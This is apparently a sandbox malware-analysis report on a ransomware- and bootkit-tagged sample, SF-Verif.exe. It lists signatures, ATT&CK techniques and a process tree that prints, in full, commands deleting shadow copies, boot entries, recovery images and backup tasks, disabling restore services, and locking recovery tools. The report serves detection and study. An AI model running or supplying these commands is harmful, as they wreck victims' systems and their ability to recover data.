ef197fdbccfef8c5bd5e3926e8d03ee3bf73509fb73342e8ad444cb5a93979ec

Analysis

user interaction
yes
max time kernel
3s
max time network
267s
platform
windows11-21h2_x64
resource
win11-20260513-fr
resource tags

arch:x64arch:x86image:win11-20260513-frlocale:fr-fros:windows11-21h2-x64systemwindows
submitted
24/05/2026, 17:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 665KB
Sample260524-wd91zafy21
SHA256 ef197fdbccfef8c5bd5e3926e8d03ee3bf73509fb73342e8ad444cb5a93979ec
MD5 b55acfde560de9d62144254ae46db717
SHA1 bece229cf43ab9b99f79f07e0c1698557791d59d
SHA512 33435cd8f8e390065746d1052cd75fb2b1b79b9a24caf8dc4aba679f105d0c5c11ec15cca654bacfd93719bd735861b738c17b83dca764c1fcd3b6700b0830c6
SSDEEP 6144:MDSBu7AkwYrNPB/KG7KPTeZwLoO9r/dRJddxgkUFHYxgIaRth86cEcm:hdYrNtKGGLeaBjRJdkkUFhvth83EH
TLSH
T1F9E4087AF71219ADC05F437B85A5C7E196902A85F33465B702B48E537AE34C24F2AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
484	bcdedit.exe
2928	bcdedit.exe
4428	bcdedit.exe
2224	bcdedit.exe
1536	bcdedit.exe
2924	bcdedit.exe
3012	bcdedit.exe
3968	bcdedit.exe
5508	bcdedit.exe
7104	bcdedit.exe
5340	bcdedit.exe
3904	bcdedit.exe
5572	bcdedit.exe
6760	bcdedit.exe
3512	bcdedit.exe
5816	bcdedit.exe
6680	bcdedit.exe
3544	bcdedit.exe
6056	bcdedit.exe
1472	bcdedit.exe
2036	bcdedit.exe
3312	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6412	icacls.exe
896	icacls.exe
672	icacls.exe
5344	icacls.exe
5220	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6252	cmd.exe
5792	cmd.exe
6156	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6712	sc.exe
6920	sc.exe
6096	sc.exe
3992	sc.exe
6228	sc.exe
5232	sc.exe
5436	sc.exe
6644	sc.exe
2260	sc.exe
1324	sc.exe
5124	sc.exe
6048	sc.exe
3556	sc.exe
5500	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3224	msedge.exe
5756	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4940	vssadmin.exe
5040	vssadmin.exe

Kills process with taskkill 10 IoCs

defense_evasion

pid	Process
5508	taskkill.exe
2004	taskkill.exe
5048	taskkill.exe
5332	taskkill.exe
2888	taskkill.exe
6024	taskkill.exe
7076	taskkill.exe
6328	taskkill.exe
7036	taskkill.exe
724	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4136	reg.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4164	WMIC.exe
Token: SeSecurityPrivilege	4164	WMIC.exe
Token: SeTakeOwnershipPrivilege	4164	WMIC.exe
Token: SeLoadDriverPrivilege	4164	WMIC.exe
Token: SeSystemProfilePrivilege	4164	WMIC.exe
Token: SeSystemtimePrivilege	4164	WMIC.exe
Token: SeProfSingleProcessPrivilege	4164	WMIC.exe
Token: SeIncBasePriorityPrivilege	4164	WMIC.exe
Token: SeCreatePagefilePrivilege	4164	WMIC.exe
Token: SeBackupPrivilege	4164	WMIC.exe
Token: SeRestorePrivilege	4164	WMIC.exe
Token: SeShutdownPrivilege	4164	WMIC.exe
Token: SeDebugPrivilege	4164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4164	WMIC.exe
Token: SeRemoteShutdownPrivilege	4164	WMIC.exe
Token: SeUndockPrivilege	4164	WMIC.exe
Token: SeManageVolumePrivilege	4164	WMIC.exe
Token: 33	4164	WMIC.exe
Token: 34	4164	WMIC.exe
Token: 35	4164	WMIC.exe
Token: 36	4164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4164	WMIC.exe
Token: SeSecurityPrivilege	4164	WMIC.exe
Token: SeTakeOwnershipPrivilege	4164	WMIC.exe
Token: SeLoadDriverPrivilege	4164	WMIC.exe
Token: SeSystemProfilePrivilege	4164	WMIC.exe
Token: SeSystemtimePrivilege	4164	WMIC.exe
Token: SeProfSingleProcessPrivilege	4164	WMIC.exe
Token: SeIncBasePriorityPrivilege	4164	WMIC.exe
Token: SeCreatePagefilePrivilege	4164	WMIC.exe
Token: SeBackupPrivilege	4164	WMIC.exe
Token: SeRestorePrivilege	4164	WMIC.exe
Token: SeShutdownPrivilege	4164	WMIC.exe
Token: SeDebugPrivilege	4164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4164	WMIC.exe
Token: SeRemoteShutdownPrivilege	4164	WMIC.exe
Token: SeUndockPrivilege	4164	WMIC.exe
Token: SeManageVolumePrivilege	4164	WMIC.exe
Token: 33	4164	WMIC.exe
Token: 34	4164	WMIC.exe
Token: 35	4164	WMIC.exe
Token: 36	4164	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
716	msedge.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 2908	1360	SF-Verif.exe	79
PID 1360 wrote to memory of 4264	1360	SF-Verif.exe	81
PID 4264 wrote to memory of 484	4264	cmd.exe	147
PID 1360 wrote to memory of 4728	1360	SF-Verif.exe	84
PID 4728 wrote to memory of 2928	4728	cmd.exe	86
PID 1360 wrote to memory of 3492	1360	SF-Verif.exe	87
PID 3492 wrote to memory of 4428	3492	cmd.exe	89
PID 1360 wrote to memory of 4108	1360	SF-Verif.exe	90
PID 4108 wrote to memory of 2224	4108	cmd.exe	196
PID 1360 wrote to memory of 2316	1360	SF-Verif.exe	93
PID 2316 wrote to memory of 1536	2316	cmd.exe	95
PID 1360 wrote to memory of 2424	1360	SF-Verif.exe	96
PID 2424 wrote to memory of 2924	2424	cmd.exe	98
PID 1360 wrote to memory of 1132	1360	SF-Verif.exe	99
PID 1132 wrote to memory of 3012	1132	cmd.exe	101
PID 1360 wrote to memory of 2812	1360	SF-Verif.exe	102
PID 2812 wrote to memory of 3968	2812	cmd.exe	104
PID 1360 wrote to memory of 4996	1360	SF-Verif.exe	105
PID 4996 wrote to memory of 3780	4996	cmd.exe	107
PID 1360 wrote to memory of 1792	1360	SF-Verif.exe	108
PID 1792 wrote to memory of 4164	1792	cmd.exe	145
PID 716 wrote to memory of 2640	716	msedge.exe	113
PID 716 wrote to memory of 3224	716	msedge.exe	114
PID 716 wrote to memory of 4172	716	msedge.exe	115
PID 716 wrote to memory of 4172	716	msedge.exe	115
PID 716 wrote to memory of 4172	716	msedge.exe	115
PID 716 wrote to memory of 3148	716	msedge.exe	116
PID 716 wrote to memory of 3148	716	msedge.exe	116
PID 716 wrote to memory of 2880	716	msedge.exe	118
PID 716 wrote to memory of 2880	716	msedge.exe	118
PID 716 wrote to memory of 2880	716	msedge.exe	118
PID 716 wrote to memory of 3448	716	msedge.exe	119
PID 716 wrote to memory of 3448	716	msedge.exe	119
PID 716 wrote to memory of 3448	716	msedge.exe	119
PID 716 wrote to memory of 1160	716	msedge.exe	120
PID 716 wrote to memory of 3308	716	msedge.exe	121
PID 716 wrote to memory of 1160	716	msedge.exe	120
PID 716 wrote to memory of 1160	716	msedge.exe	120
PID 716 wrote to memory of 3312	716	msedge.exe	122
PID 716 wrote to memory of 2064	716	msedge.exe	401
PID 716 wrote to memory of 3308	716	msedge.exe	121
PID 716 wrote to memory of 3308	716	msedge.exe	121
PID 716 wrote to memory of 3312	716	msedge.exe	122
PID 716 wrote to memory of 3312	716	msedge.exe	122
PID 716 wrote to memory of 2064	716	msedge.exe	401
PID 716 wrote to memory of 2064	716	msedge.exe	401

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2908	attrib.exe
6188	attrib.exe
6532	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:3128
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:1036
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:1088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:1204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:8
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:4164
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:1404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4016
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:3508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5316
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:6028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5784
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:5488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:5588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5664
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:6068
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:3556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:6112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:3364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5408
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5724
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:5500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:5528
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:5436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:6588
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:6644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:6724
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:6712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:6804
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:6920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:6944
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:5396
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:6340
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:1324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:1048
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:1800
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:6448
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:6228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:6828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:7112
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:7072
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:7032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:3404
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:7028
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:5732
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:6748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:4292
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:5268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6252
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:5768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5792
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6156
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:6516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:7064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:5492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:6644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:6916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:6736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:3612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:6852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:1388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:6096
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4088
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:5344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4936
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:5220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3508
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:6412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1560
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:896
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:6188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:5180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
